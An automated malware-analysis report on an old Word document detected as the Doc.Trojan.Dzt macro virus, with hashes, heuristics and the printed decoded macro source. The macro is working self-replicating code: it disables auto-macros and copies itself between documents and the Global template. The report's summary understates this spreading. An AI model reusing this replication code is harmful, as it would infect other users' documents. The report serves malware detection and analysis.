Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 784ddfdac19d9ce0…

MALICIOUS

Office (OLE)

33.5 KB Created: 1996-08-04 04:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4a67b2ac31f71419c5878982304fe3fc SHA-1: 0b3d956ad024ff500a19f07803817f1259cc8e71 SHA-256: 784ddfdac19d9ce0dc57148a079431b4ca0d10e5bfa7978316d4d84c47e59c44
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic AutoOpen macro. This macro is designed to execute automatically when the document is opened. It attempts to save the document in a different format, which is a common technique for obfuscating malicious payloads or preparing for further execution. The macro's primary function appears to be related to file saving and manipulation, but the exact malicious action is not fully discernible due to the truncated script.

Heuristics 4

  • ClamAV: Doc.Trojan.Dzt-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dzt-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8723 bytes
SHA-256: 07eefcc4b8a003a7b14b883e7cc8192bcf89698a6e622f0e5b68b97cd5db7ce1
Detection
ClamAV: Doc.Trojan.Dzt-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim formatfile, salah
Dim Filebaru$, Cek$

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim sqlah
formatfile = 0
salah = 0
Filebaru$ = ""
Cek$ = ""
NoAuto
On Error GoTo -1: On Error GoTo finish
Cek$ = WordBasic.[FileNameFromWindow$]()
If WordBasic.IsMacro() Then
    WordBasic.FileSave
    GoTo finish
End If
ulang:
SaveTo
If sqlah = 1059 Then
    Cek$ = ""
    GoTo ulang
End If
finish:
If Err.Number = 509 Then WordBasic.Call "PrintDisqble"
End Sub

Private Sub NoAuto()
On Error GoTo -1: On Error GoTo finish
WordBasic.DisableInput (1)
WordBasic.DisableAutoMacros (1)
finish:
End Sub

Private Sub SaveTo()
On Error GoTo -1: On Error GoTo finish
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
If Cek$ = "" Then WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
formatfile = dlg.Format
Filebaru$ = WordBasic.[FileName$]()
If formatfile = 1 Then CopyToFile
If salah = 0 Then
    If formatfile = 1 Then Aksi
    WordBasic.FileSaveAs dlg
End If
finish:
salah = Err.Number
End Sub

Private Sub CopyToFile()
On Error GoTo -1: On Error GoTo finish
CekCopyToFile
If salah = 0 Then
    CopyFSAF
End If
If salah <> 0 Then
    CopyFSG
    CopyFSAG
End If
finish:
End Sub

Private Sub CekCopyToFile()
On Error GoTo -1: On Error GoTo fin
WordBasic.MacroCopy "Global:FileSave", Filebaru$ + ":AutoOpen", 1
fin:
salah = Err.Number
End Sub

Private Sub CopyFSG()
On Error GoTo -1: On Error GoTo finish
    WordBasic.MacroCopy Filebaru$ + ":AutoOpen", "Global:FileSave", 1
finish:
End Sub

Private Sub CopyFSAG()
On Error GoTo -1: On Error GoTo finish
    WordBasic.MacroCopy Filebaru$ + ":FileSaveAs", "Global:FileSaveAs", 1
finish:
End Sub

Private Sub CopyFSAF()
On Error GoTo -1: On Error GoTo finish
    WordBasic.MacroCopy "Global:FileSaveAs", Filebaru$ + ":FileSaveAs", 1
finish:
End Sub

Private Sub Aksi()
On Error GoTo -1: On Error GoTo finish
WordBasic.FileSummaryInfo Comments:="DZT"
WordBasic.SetDocumentVar "Dzutaqshiri", "(c)Hikmat Sudrajat, Bandung, April 1996"
finish:
End Sub

Private Sub PrintDisable()
On Error GoTo -1: On Error GoTo finish
WordBasic.PrintStatusBar "This command is not available because a document window is not active"
finish:
End Sub

' Processing file: /opt/analyzer/scan_staging/c7f75ad52aef49239e560d9866d736d1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 5523 bytes
' Line #0:
' Line #1:
' 	Dim 
' 	VarDefn formatfile
' 	VarDefn salah
' Line #2:
' 	Dim 
' 	VarDefn Filebaru
' 	VarDefn Cek
' Line #3:
' Line #4:
' 	FuncDefn (Public Sub MAIN())
' Line #5:
' 	Dim 
' 	VarDefn sqlah
' Line #6:
' 	LitDI2 0x0000 
' 	St formatfile 
' Line #7:
' 	LitDI2 0x0000 
' 	St salah 
' Line #8:
' 	LitStr 0x0000 ""
' 	St Filebaru$ 
' Line #9:
' 	LitStr 0x0000 ""
' 	St Cek$ 
' Line #10:
' 	ArgsCall NoAuto 0x0000 
' Line #11:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError finish 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileNameFromWindow$] 0x0000 
' 	St Cek$ 
' Line #13:
' 	Ld WordBasic 
' 	ArgsMemLd IsMacro 0x0000 
' 	IfBlock 
' Line #14:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #15:
' 	GoTo finish 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Label ulang 
' Line #18:
' 	ArgsCall SaveTo 0x0000 
' Line #19:
' 	Ld sqlah 
' 	LitDI2 0x0423 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LitStr 0x0000 ""
' 	St Cek$ 
' Line #21:
' 	GoTo ulang 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Label finish 
' Line #24:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x01
... (truncated)